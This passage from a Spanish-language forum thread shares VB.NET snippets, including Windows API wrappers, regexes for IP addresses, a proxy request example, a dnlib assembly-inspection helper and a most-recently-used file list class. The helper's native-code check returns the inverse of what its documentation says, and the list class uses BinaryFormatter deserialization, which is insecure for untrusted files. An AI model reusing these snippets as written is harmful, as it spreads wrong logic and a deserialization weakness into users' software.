  715.        ''' <summary>
  716.        ''' Enables the use of symbols that do not have an address.
  717.        ''' By default, DbgHelp filters out symbols that do not have an address.
  718.        ''' </summary>
  719.        ALLOW_ZERO_ADDRESS = &H1000000
  720.  
  721.        ''' <summary>
  722.        ''' All symbol searches are insensitive to case.
  723.        ''' </summary>
  724.        CASE_INSENSITIVE = &H1
  725.  
  726.        ''' <summary>
  727.        ''' Pass debug output through OutputDebugString or the SymRegisterCallbackProc64 callback function.
  728.        ''' </summary>
  729.        DEBUG = &H80000000
  730.  
  731.        ''' <summary>
  732.        ''' Symbols are not loaded until a reference is made requiring the symbols be loaded.
  733.        ''' This is the fastest, most efficient way to use the symbol handler.
  734.        ''' </summary>
  735.        DEFERRED_LOADS = &H4
  736.  
  737.        ''' <summary>
  738.        ''' Do not load an unmatched .pdb file.
  739.        ''' Do not load export symbols if all else fails.
  740.        ''' </summary>
  741.        EXACT_SYMBOLS = &H400
  742.  
  743.        ''' <summary>
  744.        ''' Do not display system dialog boxes when there is a media failure such as no media in a drive.
  745.        ''' Instead, the failure happens silently.
  746.        ''' </summary>
  747.        FAIL_CRITICAL_ERRORS = &H200
  748.  
  749.        ''' <summary>
  750.        ''' If there is both an uncompressed and a compressed file available, favor the compressed file.
  751.        ''' This option is good for slow connections.
  752.        ''' </summary>
  753.        FAVOR_COMPRESSED = &H800000
  754.  
  755.        ''' <summary>
  756.        ''' Ignore path information in the CodeView record of the image header when loading a .pdb file.
  757.        ''' </summary>
  758.        IGNORE_CVREC = &H80
  759.  
  760.        ''' <summary>
  761.        ''' When debugging on 64-bit Windows, include any 32-bit modules.
  762.        ''' </summary>
  763.        INCLUDE_32BIT_MODULES = &H2000
  764.  
  765.        ''' <summary>
  766.        ''' Disable checks to ensure a file (.exe, .dbg., or .pdb) is the correct file.
  767.        ''' Instead, load the first file located.
  768.        ''' </summary>
  769.        LOAD_ANYTHING = &H40
  770.  
  771.        ''' <summary>
  772.        ''' Loads line number information.
  773.        ''' </summary>
  774.        LOAD_LINES = &H10
  775.  
  776.        ''' <summary>
  777.        ''' All C++ decorated symbols containing the symbol separator "::" are replaced by "__".
  778.        ''' This option exists for debuggers that cannot handle parsing real C++ symbol names.
  779.        ''' </summary>
  780.        NO_CPP = &H8
  781.  
  782.        ''' <summary>
  783.        ''' Prevents prompting for validation from the symbol server.
  784.        ''' </summary>
  785.        NO_PROMPTS = &H80000
  786.  
  787.        ''' <summary>
  788.        ''' Prevents symbols from being loaded when the caller examines symbols across multiple modules.
  789.        ''' Examine only the module whose symbols have already been loaded.
  790.        ''' </summary>
  791.        NO_UNQUALIFIED_LOADS = &H100
  792.  
  793.        ''' <summary>
  794.        ''' DbgHelp will not load any symbol server other than SymSrv. SymSrv will not use the downstream store specified in _NT_SYMBOL_PATH. After this flag has been set, it cannot be cleared.
  795.        ''' DbgHelp 6.0 and 6.1:  This flag can be cleared.
  796.        ''' DbgHelp 5.1:  This value is not supported.
  797.        ''' </summary>
  798.        SECURE = &H40000
  799.  
  800.        ''' <summary>
  801.        ''' All symbols are presented in undecorated form.
  802.        ''' This option has no effect on global or local symbols because they are stored undecorated.
  803.        ''' This option applies only to public symbols.
  804.        ''' </summary>
  805.        UNDNAME = &H2
  806.  
  807.    End Enum
  808.  
  809. #End Region
  810.  
  811. #Region " Delegates "
  812.  
  813.    ''' <summary>
  814.    ''' An application-defined callback function used with the 'SymEnumSymbols', 'SymEnumTypes', and 'SymEnumTypesByName' functions.
  815.    ''' </summary>
  816.    ''' <param name="pSymInfo">
  817.    ''' A pointer to a 'SYMBOL_INFO' structure that provides information about the symbol.
  818.    ''' </param>
  819.    ''' <param name="SymbolSize">
  820.    ''' The size of the symbol, in bytes.
  821.    ''' The size is calculated and is actually a guess.
  822.    ''' In some cases, this value can be zero.
  823.    ''' </param>
  824.    ''' <param name="UserContext">
  825.    ''' The user-defined value passed from the 'SymEnumSymbols' or 'SymEnumTypes' function, or NULL.
  826.    ''' This parameter is typically used by an application to pass a pointer to a data structure
  827.    ''' that provides context information for the callback function.</param>
  828.    ''' <returns>
  829.    ''' If the function returns <c>true</c>, the enumeration will continue.
  830.    ''' If the function returns <c>false</c>, the enumeration will stop.
  831.    ''' </returns>
  832.    Friend Delegate Function SymEnumSymbolsProc(
  833.           ByVal pSymInfo As IntPtr,
  834.           ByVal SymbolSize As UInteger,
  835.           ByVal UserContext As IntPtr
  836.    ) As Boolean
  837.  
  838. #End Region
  839.  
  840. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 09:05 am
Como convertir una expresión de un valor Hexadecimal al tipo de expresión que se usa en VB.NET:

Nota: Esta es una forma más eficiente que la que posteé hace mucho tiempo.

Código
  1.   ' Hex To VBHex
  2.    ' By Elektro
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    ' MsgBox(HexToVBHex("FF4"))                        ' Result: &HFF4
  7.    ' MsgBox(HexToVBHex("0xFF4"))                      ' Result: &HFF4
  8.    ' Dim Value As Integer = CInt(HexToVBHex("0xFF4")) ' Result: 4084
  9.    '
  10.    ''' <summary>
  11.    ''' Converts an Hexadecimal value to VisualBasic Hexadecimal syntax.
  12.    ''' </summary>
  13.    ''' <param name="Value">The Hexadecimal value as String.</param>
  14.    ''' <returns>System.String.</returns>
  15.    Public Function HexToVBHex(ByVal Value As String) As String
  16.  
  17.        If (String.IsNullOrEmpty(Value) Or String.IsNullOrWhiteSpace(Value)) Then
  18.            Throw New ArgumentNullException(Value)
  19.        End If
  20.  
  21.        Return String.Format("&H{0}", Value.
  22.                                      TrimStart({"0"c, "x"c, "X"c, " "c, ControlChars.NullChar}).
  23.                                      TrimEnd({" "c, ControlChars.NullChar}))
  24.  
  25.    End Function



Como obtener una cadena de texto aleatoria ...dado un set de caracteres, con la posibilidad de randomizar también el String-Case (upper-case/lower-case) de cada letra.

Código
  1.    Dim Randomizer As New Random
  2.  
  3.    ' Get Random String
  4.    ' // By Elektro
  5.    '
  6.    ' Usage Examples :
  7.    ' MsgBox(GetRandomString("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 10))
  8.    ' MsgBox(GetRandomString("abcdefghijklmnopqrstuvwxyz", 10, RandomizeCase:=True))
  9.    '
  10.    ''' <summary>
  11.    ''' Gets a random string.
  12.    ''' </summary>
  13.    ''' <param name="CharacterSet">Indicates the characters to randomize.</param>
  14.    ''' <param name="StringLength">Indicates the resulting string length.</param>
  15.    ''' <param name="RandomizeCase">If set to <c>true</c>, lower-case and upper-case are randomized.</param>
  16.    ''' <returns>System.String.</returns>
  17.    ''' <exception cref="System.Exception">
  18.    ''' CharacterSet is empty.
  19.    ''' or
  20.    ''' String-Length must be greater than 0.
  21.    ''' </exception>
  22.    Private Function GetRandomString(ByVal CharacterSet As Char(),
  23.                                     ByVal StringLength As Integer,
  24.                                     Optional ByVal RandomizeCase As Boolean = False) As String
  25.  
  26.        Select Case CharacterSet.Count
  27.  
  28.            Case Is = 0
  29.                Throw New Exception("CharacterSet is empty.")
  30.  
  31.            Case Is = 1
  32.                Return New String(CharacterSet.First, Math.Abs(StringLength))
  33.  
  34.            Case Else
  35.  
  36.                Select Case StringLength
  37.  
  38.                    Case Is < 1
  39.                        Throw New Exception("String-Length must be greater than 0.")
  40.  
  41.                    Case Else
  42.  
  43.                        Dim CharSetLength As Integer = CharacterSet.Length
  44.                        Dim CharSB As New System.Text.StringBuilder
  45.  
  46.                        Do Until CharSB.Length = StringLength
  47.  
  48.                            If Not RandomizeCase Then
  49.                                CharSB.Append(CharacterSet(Randomizer.Next(0, CharSetLength)))
  50.  
  51.                            Else
  52.  
  53.                                Select Case Randomizer.Next(0, 2)
  54.  
  55.                                    Case 0 ' Lower-Case
  56.                                        CharSB.Append(Char.ToLower(CharacterSet(Randomizer.Next(0, CharSetLength))))
  57.  
  58.                                    Case 1 ' Upper-Case
  59.                                        CharSB.Append(Char.ToUpper(CharacterSet(Randomizer.Next(0, CharSetLength))))
  60.  
  61.                                End Select
  62.  
  63.                            End If '/ Not RandomizeCase
  64.  
  65.                        Loop '/ CharSB.Length = StringLength
  66.  
  67.                        Return CharSB.ToString
  68.  
  69.                End Select '/ StringLength
  70.  
  71.        End Select '/  CharacterSet.Count
  72.  
  73.    End Function




Una expresión regular para obtener las Ipv4 de un String:

Código
  1.    ' RegEx-Match IPv4
  2.    ' By Elektro
  3.    '
  4.    ' expression taken from: http://stackoverflow.com/questions/53497/regular-expression-that-matches-valid-ipv6-addresses
  5.    '
  6.    ' Usage Examples :
  7.    ' Dim Addresses As String = "127.0.0.1 | 192.17.200.13 | 255.255.255.255 | 999.999.999.999"
  8.    ' Dim Matches As System.Text.RegularExpressions.MatchCollection = RegExMatch_IPv4(Addresses)
  9.    ' For Each m As System.Text.RegularExpressions.Match In Matches
  10.    '     MessageBox.Show(m.Value)
  11.    ' Next
  12.    '
  13.    ''' <summary>
  14.    ''' Matches the IPv4 addresses contained in a String, using Regular Expressions.
  15.    ''' </summary>
  16.    ''' <param name="str">The string.</param>
  17.    ''' <param name="options">The RegEx options.</param>
  18.    ''' <returns>System.Text.RegularExpressions.MatchCollection.</returns>
  19.    Private Function RegExMatch_IPv4(ByVal str As String,
  20.                                     Optional ByVal options As System.Text.RegularExpressions.RegexOptions =
  21.                                                               System.Text.RegularExpressions.RegexOptions.None
  22.                                                               ) As System.Text.RegularExpressions.MatchCollection
  23.  
  24.        ' Match criteria:
  25.        '
  26.        ' ([0-255].[0-255].[0-255].[0-255])
  27.  
  28.        Dim Pattern As String =
  29.            <a><![CDATA[((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])]]></a>.Value
  30.  
  31.        Return New System.Text.RegularExpressions.Regex(Pattern).Matches(str)
  32.  
  33.    End Function



Una expresión regular para obtener las Ipv6 de un String:

Nota: La expresión da fallos con ip's comprimidas como por ejemplo esta:
Código:
fec0:fff::1
por lo demás todo bien.

Código
  1.    ' RegEx-Match IPv6
  2.    ' By Elektro
  3.    '
  4.    ' expression taken from: http://stackoverflow.com/questions/53497/regular-expression-that-matches-valid-ipv6-addresses
  5.    '
  6.    ' Usage Examples :
  7.    ' Dim Addresses As String = "FE80:0000:0000:0000:0202:B3FF:FE1E:8329 | FEC0:FFFF:0000:0000:0000:0000:0000:1"
  8.    ' Dim Matches As System.Text.RegularExpressions.MatchCollection = RegExMatch_IPv6(Addresses)
  9.    ' For Each m As System.Text.RegularExpressions.Match In Matches
  10.    '     MessageBox.Show(m.Value)
  11.    ' Next
  12.    '
  13.    ''' <summary>
  14.    ''' Matches the IPv6 addresses (full or compressed) contained in a String, using Regular Expressions.
  15.    ''' </summary>
  16.    ''' <param name="str">The string.</param>
  17.    ''' <param name="options">The RegEx options.</param>
  18.    ''' <returns>System.Text.RegularExpressions.MatchCollection.</returns>
  19.    Private Function RegExMatch_IPv6(ByVal str As String,
  20.                                     Optional ByVal options As System.Text.RegularExpressions.RegexOptions =
  21.                                                               System.Text.RegularExpressions.RegexOptions.None
  22.                                                               ) As System.Text.RegularExpressions.MatchCollection
  23.  
  24.        Dim Pattern As String =
  25.            <a><![CDATA[(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))]]></a>.Value
  26.  
  27.        Return New System.Text.RegularExpressions.Regex(Pattern).Matches(str)
  28.  
  29.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 10:40 am
Ejemplo de como usar un Proxy:

Código
  1.        Dim Request As Net.HttpWebRequest = Net.HttpWebRequest.Create("http://whatismyipaddress.com/")
  2.  
  3.        With Request
  4.            .Proxy = New Net.WebProxy(Host:="93.115.8.229", Port:=7808)
  5.        End With
  6.  
  7.        Using StrReader As New IO.StreamReader(Request.GetResponse().GetResponseStream)
  8.  
  9.            Dim IPRegEx As New System.Text.RegularExpressions.Regex("(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
  10.            Dim IPValue As String = IPRegEx.Match(StrReader.ReadToEnd).Value
  11.  
  12.            MessageBox.Show(String.Format("Your IP Adress is: {0}", IPValue))
  13.  
  14.        End Using



Hace parpadear la ventana o el botón de la barra de tareas de un proceso

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-03-2014
  4. ' ***********************************************************************
  5. ' <copyright file="WindowFlasher.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. ''Flash the Button TaskBar until the window becomes active.
  13. 'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.TaskBar Or WindowFlasher.FlashFlags.Until_Foreground)
  14.  
  15. ''Flash the Caption and the Button TaskBar until the "Stop" flag is set.
  16. 'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.All Or WindowFlasher.FlashFlags.Until_Stop)
  17.  
  18. ''Set the "Stop" flag, to stop flashing.
  19. 'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.Stop)
  20.  
  21. #End Region
  22.  
  23. #Region " Imports "
  24.  
  25. Imports System.ComponentModel
  26. Imports System.Runtime.InteropServices
  27.  
  28. #End Region
  29.  
  30. ''' <summary>
  31. ''' Flashes a Window and/or it's button in the TaskBar.
  32. ''' </summary>
  33. Public Class WindowFlasher
  34.  
  35. #Region " P/Invoke "
  36.  
  37.    ''' <summary>
  38.    ''' Contains Native Windows API Methods.
  39.    ''' </summary>
  40.    Friend Class NativeMethods
  41.  
  42. #Region " Methods "
  43.  
  44.        ''' <summary>
  45.        ''' Flashes the specified window.
  46.        ''' It does not change the active state of the window.
  47.        ''' For more info see here:
  48.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms679347%28v=vs.85%29.aspx
  49.        ''' </summary>
  50.        ''' <param name="pwfi">A pointer to a FLASHWINFO structure.</param>
  51.        ''' <returns>
  52.        ''' The return value specifies the window's state before the call to the FlashWindowEx function.
  53.        ''' If the window caption was drawn as active before the call, the return value is nonzero.
  54.        ''' Otherwise, the return value is zero.
  55.        ''' </returns>
  56.        <DllImport("user32.dll")>
  57.        Friend Shared Function FlashWindowEx(
  58.               ByRef pwfi As FLASHWINFO
  59.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  60.        End Function
  61.  
  62. #End Region
  63.  
  64. #Region " Structures "
  65.  
  66.        ''' <summary>
  67.        ''' Contains the flash status for a window and the number of times the system should flash the window.
  68.        ''' For more info see here:
  69.        ''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms679348%28v=vs.85%29.aspx
  70.        ''' </summary>
  71.        <StructLayout(LayoutKind.Sequential)>
  72.        Friend Structure FLASHWINFO
  73.  
  74.            ''' <summary>
  75.            ''' The size of the structure, in bytes.
  76.            ''' </summary>
  77.            Friend cbSize As UInteger
  78.  
  79.            ''' <summary>
  80.            ''' A handle to the window to be flashed.
  81.            ''' The window can be either opened or minimized.
  82.            ''' </summary>
  83.            Friend hwnd As IntPtr
  84.  
  85.            ''' <summary>
  86.            ''' The flash status.
  87.            ''' </summary>
  88.            Friend dwFlags As FlashFlags
  89.  
  90.            ''' <summary>
  91.            ''' The number of times to flash the window.
  92.            ''' </summary>
  93.            Friend uCount As UInteger
  94.  
  95.            ''' <summary>
  96.            ''' The rate at which the window is to be flashed, in milliseconds.
  97.            ''' If dwTimeout is zero, the function uses the default cursor blink rate.
  98.            ''' </summary>
  99.            Friend dwTimeout As UInteger
  100.  
  101.        End Structure
  102.  
  103. #End Region
  104.  
  105.    End Class
  106.  
  107. #End Region
  108.  
  109. #Region " Enumerations "
  110.  
  111.    ''' <summary>
  112.    ''' Contains the flash status for a window.
  113.    ''' </summary>
  114.    <Description("Enum used as 'FlashFlags' parameter in 'FlashWindow' function.")>
  115.    <Flags>
  116.    Public Enum FlashFlags As Integer
  117.  
  118.        ''' <summary>
  119.        ''' Stop flashing.
  120.        ''' The system restores the window to its original state.
  121.        ''' </summary>    
  122.        [Stop] = 0I
  123.  
  124.        ''' <summary>
  125.        ''' Flash the window caption.
  126.        ''' </summary>
  127.        Caption = 1I
  128.  
  129.        ''' <summary>
  130.        ''' Flash the taskbar button.
  131.        ''' </summary>
  132.        TaskBar = 2I
  133.  
  134.        ''' <summary>
  135.        ''' Flash both the window caption and taskbar button.
  136.        ''' This is equivalent to setting the 'Caption Or TaskBar' flags.
  137.        ''' </summary>
  138.        All = 3I
  139.  
  140.        ''' <summary>
  141.        ''' Flash continuously, until the 'Stop' flag is set.
  142.        ''' </summary>
  143.        Until_Stop = 4I
  144.  
  145.        ''' <summary>
  146.        ''' Flash continuously until the window comes to the foreground.
  147.        ''' </summary>
  148.        Until_Foreground = 12I
  149.  
  150.    End Enum
  151.  
  152. #End Region
  153.  
  154. #Region " Public Methods "
  155.  
  156.    ''' <summary>
  157.    ''' Flashes the specified window.
  158.    ''' It does not change the active state of the window.
  159.    ''' </summary>
  160.    ''' <param name="Handle">
  161.    ''' Indicates the handle to the window to flash.
  162.    ''' </param>
  163.    ''' <param name="FlashFlags">
  164.    ''' Indicates the flash flags.
  165.    ''' </param>
  166.    ''' <param name="FlashCount">
  167.    ''' Indicates the number of times to flash the window.
  168.    ''' </param>
  169.    ''' <param name="FlashDelay">
  170.    ''' Indicates the rate at which the window is to be flashed, in milliseconds.
  171.    ''' If dwTimeout is zero, the function uses the default cursor blink rate.
  172.    ''' </param>
  173.    ''' <returns>
  174.    ''' The return value specifies the window's state before the call to the FlashWindowEx function.
  175.    ''' If the window caption was drawn as active before the call, the return value is nonzero.
  176.    ''' Otherwise, the return value is zero.
  177.    ''' </returns>
  178.    Public Shared Function Flash(ByVal [Handle] As IntPtr,
  179.                                 ByVal FlashFlags As FlashFlags,
  180.                                 Optional ByVal FlashCount As UInteger = UInteger.MaxValue,
  181.                                 Optional ByVal FlashDelay As UInteger = 0UI) As Boolean
  182.  
  183.        Dim fInfo As New NativeMethods.FLASHWINFO()
  184.  
  185.        With fInfo
  186.  
  187.            .cbSize = Convert.ToUInt32(Marshal.SizeOf(fInfo))
  188.            .hwnd = [Handle]
  189.            .dwFlags = FlashFlags
  190.            .uCount = FlashCount
  191.            .dwTimeout = FlashDelay
  192.  
  193.        End With
  194.  
  195.        Return NativeMethods.FlashWindowEx(fInfo)
  196.  
  197.    End Function
  198.  
  199. #End Region
  200.  
  201. End Class
  202.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 17:23 pm
Ejemplos de uso de la librería dnlib (de4dot): https://github.com/0xd4d/dnlib

Aunque de momento es una Class muy básica, pues dnlib es muy extenso pero con documentación muy escasa.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-03-2014
  4. ' ***********************************************************************
  5. ' <copyright file="dnlibHelper.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Private Sub Test() Handles MyBase.Shown
  13. '
  14. '    Dim Assembly As ModuleDefMD =
  15. '        dnlibHelper.LoadAssembly("C:\Application.exe")
  16. '
  17. '    Dim FrameworkVersion As String =
  18. '        dnlibHelper.GetRuntimeVersion(Assembly)
  19. '
  20. '    Dim IsNativeCoded As Boolean =
  21. '        dnlibHelper.AssemblyHasNativeCode(Assembly)
  22. '
  23. '    Dim Methods As List(Of MethodDef) =
  24. '        dnlibHelper.GetMethods(Assembly, "Main") ' Searchs a Class named "Main"
  25. '
  26. '    For Each Method As MethodDef In Methods
  27. '
  28. '        ' If method contains instructions then...
  29. '        If Method.HasBody Then
  30. '
  31. '            Dim sb As New System.Text.StringBuilder
  32. '            With sb
  33. '                .AppendLine(String.Format("Method Name: {0}", Method.Name))
  34. '                .AppendLine()
  35. '                .AppendLine(String.Format("Method Signature: {0}", Method.Signature.ToString))
  36. '                .AppendLine()
  37. '                .AppendLine(String.Format("Method Instructions: {0}", Environment.NewLine &
  38. '                                          String.Join(Environment.NewLine, Method.Body.Instructions)))
  39. '            End With
  40. '
  41. '            MessageBox.Show(sb.ToString)
  42. '
  43. '        End If ' method.HasBody
  44. '
  45. '    Next Method
  46. '
  47. 'End Sub
  48.  
  49. #End Region
  50.  
  51. #Region " Imports "
  52.  
  53. Imports dnlib.DotNet
  54. Imports dnlib.DotNet.Emit
  55.  
  56. #End Region
  57.  
  58. ''' <summary>
  59. ''' Class dnlibHelper. This class cannot be inherited.
  60. ''' </summary>
  61. Public NotInheritable Class dnlibHelper
  62.  
  63.    ''' <summary>
  64.    ''' Loads an Assembly into a ModuleDefMD instance.
  65.    ''' </summary>
  66.    ''' <param name="Assembly">The assembly filepath.</param>
  67.    ''' <returns>ModuleDefMD.</returns>
  68.    Public Shared Function LoadAssembly(ByVal Assembly As String) As ModuleDefMD
  69.  
  70.        Return ModuleDefMD.Load(Assembly)
  71.  
  72.    End Function
  73.  
  74.    ''' <summary>
  75.    ''' Determines whether a .Net Assembly has native code (C++/CLI).
  76.    ''' </summary>
  77.    ''' <param name="Assembly">The Assembly.</param>
  78.    ''' <returns><c>true</c> if Assembly contains native code; otherwise, <c>false</c>.</returns>
  79.    Public Shared Function AssemblyHasNativeCode(ByVal Assembly As ModuleDef) As Boolean
  80.  
  81.        If Assembly.IsILOnly Then
  82.            ' This assembly has only IL code, and no native code (for example it's a C# or VB.NET assembly)
  83.            Return True
  84.  
  85.        Else
  86.            ' This assembly has native code (for example it's C++/CLI)
  87.            Return False
  88.  
  89.        End If
  90.  
  91.    End Function
  92.  
  93.    ''' <summary>
  94.    ''' Determines whether a .Net Assembly has native code (C++/CLI).
  95.    ''' </summary>
  96.    ''' <param name="Assembly">The Assembly filepath.</param>
  97.    ''' <returns><c>true</c> if Assembly contains native code; otherwise, <c>false</c>.</returns>
  98.    Public Shared Function AssemblyHasNativeCode(ByVal Assembly As String) As Boolean
  99.  
  100.        Using ass As ModuleDefMD = ModuleDefMD.Load(Assembly)
  101.  
  102.            Return AssemblyHasNativeCode(ass)
  103.  
  104.        End Using
  105.  
  106.    End Function
  107.  
  108.    ''' <summary>
  109.    ''' Gets the .Net Framework runtime version of a .Net assembly.
  110.    ''' </summary>
  111.    ''' <param name="Assembly">The assembly.</param>
  112.    ''' <returns>System.String.</returns>
  113.    Public Shared Function GetRuntimeVersion(ByVal Assembly As ModuleDefMD) As String
  114.  
  115.        Return Assembly.RuntimeVersion
  116.  
  117.    End Function
  118.  
  119.    ''' <summary>
  120.    ''' Gets the .Net Framework runtime version of a .Net assembly.
  121.    ''' </summary>
  122.    ''' <param name="Assembly">The assembly filepath.</param>
  123.    ''' <returns>System.String.</returns>
  124.    Public Shared Function GetRuntimeVersion(ByVal Assembly As String) As String
  125.  
  126.        Using ass As ModuleDefMD = ModuleDefMD.Load(Assembly)
  127.            Return GetRuntimeVersion(ass)
  128.        End Using
  129.  
  130.    End Function
  131.  
  132.    ''' <summary>
  133.    ''' Gets all the Types defined (including nested Types) inside a .Net assembly.
  134.    ''' </summary>
  135.    ''' <param name="Assembly">The assembly.</param>
  136.    ''' <returns>TypeDef().</returns>
  137.    Public Shared Function GetTypes(ByVal Assembly As ModuleDefMD) As List(Of TypeDef)
  138.  
  139.        Return Assembly.GetTypes.ToList
  140.  
  141.    End Function
  142.  
  143.    ''' <summary>
  144.    ''' Gets all the Methods defined in a existing Type inside a .Net assembly.
  145.    ''' </summary>
  146.    ''' <param name="Assembly">The assembly.</param>
  147.    ''' <param name="TypeName">Name of the type to find.</param>
  148.    ''' <returns>MethodDef().</returns>
  149.    Public Shared Function GetMethods(ByVal Assembly As ModuleDefMD,
  150.                                      ByVal TypeName As String) As List(Of MethodDef)
  151.  
  152.        Dim methods As List(Of MethodDef) = Nothing
  153.  
  154.        For Each t As TypeDef In Assembly.GetTypes
  155.  
  156.            If t.HasMethods AndAlso t.Name.String.Equals(TypeName, StringComparison.OrdinalIgnoreCase) Then
  157.                methods = t.Methods.ToList
  158.                Exit For
  159.            End If
  160.  
  161.        Next t
  162.  
  163.        Return methods
  164.  
  165.    End Function
  166.  
  167. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 17:55 pm
Ya van 30 páginas xD

Pues vamos a por las 300 :)

(triplicando mis espectativas xD)

Saludos!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 4 Agosto 2014, 18:44 pm
Una Class para ayudar a implementar una lista MRU (MostRecentUsed)

( La parte gráfica sobre como implementar los items en un menú no la voy a explicar, al menos en esta publicación )

(http://i.imgur.com/Vxy2Rk7.jpg)

(http://i.imgur.com/NSJdeiT.jpg)

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-04-2014
  4. ' ***********************************************************************
  5. ' <copyright file="MRU.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Public Class Form1
  13. '
  14. '    ' Initialize a new List of MostRecentUsed-Item
  15. '    Dim MRUList As New List(Of MRU.Item)
  16. '
  17. '    Private Sub Test() Handles MyBase.Shown
  18. '
  19. '        ' Add some items into the collection.
  20. '        With MRUList
  21. '            .Add(New MRU.Item("C:\File1.ext"))
  22. '            .Add(New MRU.Item("C:\File2.ext") With {.Date = Date.Today,
  23. '                                                    .Icon = Bitmap.FromFile("C:\Image.ico"),
  24. '                                                    .Tag = Nothing})
  25. '        End With
  26. '
  27. '        ' Save the MRUItem collection to local file.
  28. '        MRU.IO.Save(MRUList, ".\MRU.tmp")
  29. '
  30. '        ' Load the saved collection from local file.
  31. '        For Each MRUItem As MRU.Item In MRU.IO.Load(Of List(Of MRU.Item))(".\MRU.tmp")
  32. '            MessageBox.Show(MRUItem.FilePath)
  33. '        Next MRUItem
  34. '
  35. '        ' Just another way to load the collection:
  36. '        MRU.IO.Load(MRUList, ".\MRU.tmp")
  37. '
  38. '    End Sub
  39. '
  40. 'End Class
  41.  
  42. #End Region
  43.  
  44. #Region " MostRecentUsed "
  45.  
  46. ''' <summary>
  47. ''' Class MRU (MostRecentUsed).
  48. ''' Administrates the usage of a MRU item collection.
  49. ''' </summary>
  50. Public Class MRU
  51.  
  52. #Region " Constructors "
  53.  
  54.    ''' <summary>
  55.    ''' Prevents a default instance of the <see cref="MRU"/> class from being created.
  56.    ''' </summary>
  57.    Private Sub New()
  58.    End Sub
  59.  
  60. #End Region
  61.  
  62. #Region " Types "
  63.  
  64. #Region "IO"
  65.  
  66.    ''' <summary>
  67.    ''' Performs IO operations with a <see cref="MRU.Item"/> Collection.
  68.    ''' </summary>
  69.    Public Class [IO]
  70.  
  71. #Region " Constructors "
  72.  
  73.        ''' <summary>
  74.        ''' Prevents a default instance of the <see cref="MRU.IO"/> class from being created.
  75.        ''' </summary>
  76.        Private Sub New()
  77.        End Sub
  78.  
  79. #End Region
  80.  
  81. #Region " Public Methods "
  82.  
  83.        ''' <summary>
  84.        ''' Saves the specified MRU List to local file, using binary serialization.
  85.        ''' </summary>
  86.        ''' <typeparam name="T"></typeparam>
  87.        ''' <param name="MRUItemCollection">The <see cref="MRU.Item"/> Collection.</param>
  88.        ''' <param name="filepath">The filepath to save the <see cref="MRU.Item"/> Collection.</param>
  89.        Public Shared Sub Save(Of T)(ByVal MRUItemCollection As T,
  90.                                     ByVal filepath As String)
  91.  
  92.            Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  93.  
  94.            ' Serialization.
  95.            Using Writer As New System.IO.FileStream(filepath, System.IO.FileMode.Create)
  96.                Serializer.Serialize(Writer, MRUItemCollection)
  97.            End Using ' Writer
  98.  
  99.        End Sub
  100.  
  101.        ''' <summary>
  102.        ''' Loads the specified <see cref="MRU.Item"/> Collection from a local file, using binary deserialization.
  103.        ''' </summary>
  104.        ''' <typeparam name="T"></typeparam>
  105.        ''' <param name="MRUItemCollection">The ByRefered <see cref="MRU.Item"/> collection.</param>
  106.        ''' <param name="filepath">The filepath to load its <see cref="MRU.Item"/> Collection.</param>
  107.        Public Shared Sub Load(Of T)(ByRef MRUItemCollection As T,
  108.                                     ByVal filepath As String)
  109.  
